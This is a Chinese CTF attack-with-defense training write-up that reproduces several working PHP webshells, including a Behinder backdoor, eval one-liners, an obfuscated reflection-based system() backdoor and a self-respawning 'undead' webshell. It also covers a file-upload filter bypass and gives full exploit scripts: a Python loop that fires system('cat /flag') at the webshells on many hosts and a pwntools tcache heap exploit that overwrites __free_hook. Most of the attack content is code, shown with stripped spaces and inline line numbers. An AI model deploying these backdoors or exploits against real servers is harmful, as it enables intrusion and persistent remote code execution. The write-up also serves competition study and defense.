星盟AWD训练赛 wp
2019-11-18 18:28:20 Author: www.secpulse.com(查看原文) 阅读量:281 收藏

WEB1

漏洞点一冰蝎后门

D盾先扫一下发现已知后门

看了一眼是冰蝎后门

1<?php

2@error_reporting(0);

3session_start();

4if(isset($_GET['pass']))

5{

6$key=substr(md5(uniqid(rand())),16);

7$_SESSION['k']=$key;

8print$key;

9}

10else

11{

12$key=$_SESSION['k'];

13$post=file_get_contents("php://input");

14if(!extension_loaded('openssl'))

15{

16$t="base64_"."decode";

17$post=$t($post."");

18

19for($i=0;$i<strlen($post);$i++){

20$post[$i]=$post[$i]^$key[$i+1&15];

21}

22}

23else

24{

25$post=openssl_decrypt($post,"AES128",$key);

26}

27$arr=explode('|',$post);

28$func=$arr[0];

29$params=$arr[1];

30classC{publicfunction__construct($p){eval($p."");}}

31@newC($params);

32}

33?>

之前写过分析如何用python实现利用

参看文章:https://xz.aliyun.com/t/6520

漏洞点二隐藏后门

登上服务器进入web根目录看到.eval.php

这里记录一个坑点:当时我是使用tar打包的源码,但是tar命令默认不打包隐藏

文件,我进行打包完就把这个.eval.php文件删了,结果导致我不知道后门是什

么无法利用,血亏,好在一开始主办方忘记在服务器上放flag文件了,导致比赛

重新开始,我上去先看了下这个文件

1<?php

2eval($_POST['cmd']);

3?>

是和简单的一句话

漏洞点三文件上传

在流量中看到有师傅一直在对我/code/usercheck.php页面进行post

上传,冷静分析一波:在第41行看到包含了处理上传的文件

upload.php

1<?php

2require('upload.php');

3if(isset($_POST['sf'])&&$_POST['sf']=='sf')

4{

5$file=$_FILES['file'];

6$upload=newupload();

7$upload‐>upload_file($file);

8}

9?>

跟进一下当前目录的upload.php文件

1<?php

2classupload{

3private$error=0;//错误代号

4private$msg='';//信息

5private$save_path='../static/img/';//文件保存路径

6private$uploaded='';//路径.文件名

7private$file='';//等待上传的文件

8private$file_name='';//文件原名称

9private$file_size=0;//文件大小

10private$file_tmp_name='';//文件临时名称

11

12publicfunctionupload_file($file){

13$this‐>file_name=$file['name'];

14$this‐>file_size=$file['size'];

15$this‐>error=$file['error'];

16$this‐>file_tmp_name=$file['tmp_name'];

17

18if($this‐>waf($this‐>file_name))

19{

20$this‐>uploaded=$this‐>save_path.$this‐>file_name;

21if(move_uploaded_file($this‐>file_tmp_name,$this‐>uploaded)){

22$this‐>msg='文件上传成功';

23}else{

24$this‐>msg='文件上传失败';

25}

26}

27else

28{

29$this‐>msg='有黑阔!';

30}

31echo"<script>alert("{$this‐>msg}");window.location.href="index_chan

ge‐pic.php"</script>";

32}

33

34privatefunctionwaf($filename)

35{

36$ext=strtolower(strrchr($filename,'.'));

37$check=true;

38$pattern="php|php3|php4|php5|phtml|pht";

39if(preg_match("/$pattern/i",$ext))

40{

41$check=false;

42}

43return$check;

44}

45}

46?>

18行调用了一个waf,在第34行定义,过滤了一些后缀,并且区分大

小写,但是显然这里过滤的不够严格,常见的.htaccess.user.ini都没

有进行过滤,这里我尝试利用.htaccess没成功,赛后听说本来的考点

.user.ini但是服务器环境问题导致漏洞无法利用

WEB2

漏洞点一内置后门

D盾扫一扫

发现内置后门,但是需要$islogin=1,也就是只有登录成功才能利用

/admin/usercheck.php

1<?php

2include('../api.inc.php');

3//session_start();

4if($islogin==1){

5@eval(base64_decode($_POST[a]));

6}

7else{

8echo"shutdown";

9}

数据库中拿到密码登录后再利用

漏洞点二

同样也抓到流量

/get/index.php

1<?php

2

3classsyste

4{}

5$s114514=newReflectionClass('syste');

6$a=$s114514‐>getName();

7functiondedecocodede($str)

8{

9returnbase64_decode($str);

10}

11@eval(dedecocodede('JGI9JGEuJ20nOyRiKCRfUE9TVFsnY2MnXSk7'));

12include("../api.inc.php");

13if($confs['template_index']&&file_exists("../template/index/{$confs

['template_index']}/get/index.php")){

14$index_template=$confs['template_index'];

15}else{

16$index_template="xiaofu";

17}

18include("../template/index/{$index_template}/get/index.php");

分析:定义了一个dedecocodede函数进行base64解码,之后执行了eval

数,内容经过刚刚定义的这个函数的一次解码,解码得

1$b=$a.'m';$b($_POST['cc']);

5行创建了syste这个类的反射类,第6行获取到了这个类的名称,然后拼接了

一个m字符就是system

比赛的时候我就没分析,直接重放数据包直接打了


漏洞点三任意文件读取

D盾中扫到,也可以继续抓到流量

任意文件读取,直接读取根目录下flag即可

exp

1importrequests

2importtime

3importjson

4

5defproduceUrl(ip,attUrl):

6iplist=[]

7forxinxrange(1,16):

8ifx<10:

9iplist.append("http://{}:20{}80{}".format(ip,x,attUrl))

10else:

11iplist.append("http://{}:2{}80{}".format(ip,x,attUrl))

12returniplist

13

14defsubflag(flag):

15headers={'Content‐Type':'application/json'}

16url="http://47.108.30.122/commit/flag"

17data={'flag':flag,'token':'7220df9c442d9e936d3636d081768d52'}

18r=requests.post(url,headers=headers,data=json.dumps(data))

19print(r.content)

20

21defgetFlag1():

22URL="/.eval.php"

23ip=produceUrl('47.108.30.122',URL)

24foriinip:

25data={'cmd':"system('cat/flag');"}

26res=requests.post(url=i,data=data,timeout=1.5).text

27if"flag"inres:

28print(res)

29subflag(res)

30print("[+]..............")

31time.sleep(50)

32

33defrideShell():

34URL="/code/.eval.php"

35ip=produceUrl('47.108.30.122',URL)

36foriinip:

37data={'cmd':"system('cat/flag');"}

38res=requests.post(url=i,data=data,timeout=1.5).text

39if"flag"inres:

40print(res)

41subflag(res)

42print("[+]..............")

43time.sleep(50)

44

45defgetFlag2():

46URL="/360safe/360webscan.php"

47ip=produceUrl('47.108.30.122',URL)

48foriinip:

49data={'360':"/flag"}

50res=requests.post(url=i,data=data,timeout=1.5).text

51if"flag"inres:

52print(res)

53subflag(res)

54print("[+]..............")

55time.sleep(50)

56

57if__name__=='__main__':

58whileTrue:

59getFlag1()

60getFlag2()

61rideShell()

传不死马、激活、删站的部分都没放进去,自行补脑

web运维

骑马

web1core目录下发现两个隐藏后门文件

.index.php

1<?php

2set_time_limit(0);//永久执行,直到进程结束

3ignore_user_abort(true);

4//访问后,用户关闭url,进程不断,继续执行

5

6$path=dirname(__FILE__);

7$file=$path.'/.eval.php';//生成恶意的隐藏文件(Linux系统)

8$shell='<?php@eval($_REQUEST["caidao"]);?>';

9

10while(true){

11file_put_contents($file,$shell);

12system('chmod777.eval.php;');

13

14usleep(15000000);//微秒级别,中间隔15秒迷惑对方

15}

16?>

.eval.php

1<?php@eval($_REQUEST["caidao"]);?>

分析:这是师傅们的不死马,但是存在两个严重问题:

1.在生成不死马以后并没有使用unlink()函数进行自删除,留下了原始文件

2.生成的密码简单,路径统一,容易被骑马

然后每轮能骑好几个队伍的

删不死马

先给自己种个马,然后使用这个马(www-data权限)执行

1killall9wwwdata

PWN2

1frompwnimport*

2importrequests

3importjson

4#p=process('./pwn')

5

6defmain(port):

7p=remote("39.100.119.37",port)

8libc=ELF("libc‐2.27.so")

9defcreate(size,content):

10p.sendlineafter(">>","1")

11p.sendlineafter("size:",str(size))

12p.sendlineafter("content:",content)

13

14defshow(index):

15p.sendlineafter(">>","3")

16p.sendlineafter("idx:",str(index))

17deffree(index):

18p.sendlineafter(">>","2")

19p.sendlineafter("idx:",str(index))

20

21create(0xf8,"a")#0

22create(0x10,"/bin/shx00")#1

23foriinrange(7):

24free(0)

25free(0)

26show(0)

27

28main_addr=u64(p.recv(6).ljust(8,"x00"))

29libc_base=main_addr(0x7f9787cefca00x00007f9787904000)

30printhex(libc_base)

31create(0xf8,"x00")#2

32create(0x68,"a")#3

33free(3)

34free(3)

35

36create(0x68,p64(libc_base+libc.symbols["__free_hook"]))

37create(0x68,"b")

38create(0x68,p64(libc_base+libc.symbols["system"]))

39free(1)

40p.sendline('catflag')

41flag=p.recv()

42printflag

43subflag(flag)

44p.close()

45

46defsubflag(flag):

47headers={'Content‐Type':'application/json'}

48url="http://39.100.119.37:10000/commit/flag"

49data={'flag':flag,'token':'ebb40869cd909958b9d153efc79b4b06'}

50r=requests.post(url,headers=headers,data=json.dumps(data))

51print(r.content)

52if'Success'instr(r.content)or"quick"instr(r.content):

53return1

54

55if__name__=="__main__":

56while(1):

57foriinrange(1,35):

58s=[]

59try:

60port="5{}80".format(str(i).rjust(2,'0'))

61res=main(port)

62ifres==1:

63s.append(port)

64except:

65printport,'wrong'

66prints

67sleep(120)

本文作者:星盟安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/118614.html


文章来源: https://www.secpulse.com/archives/118614.html
如有侵权请联系:admin#unsafe.sh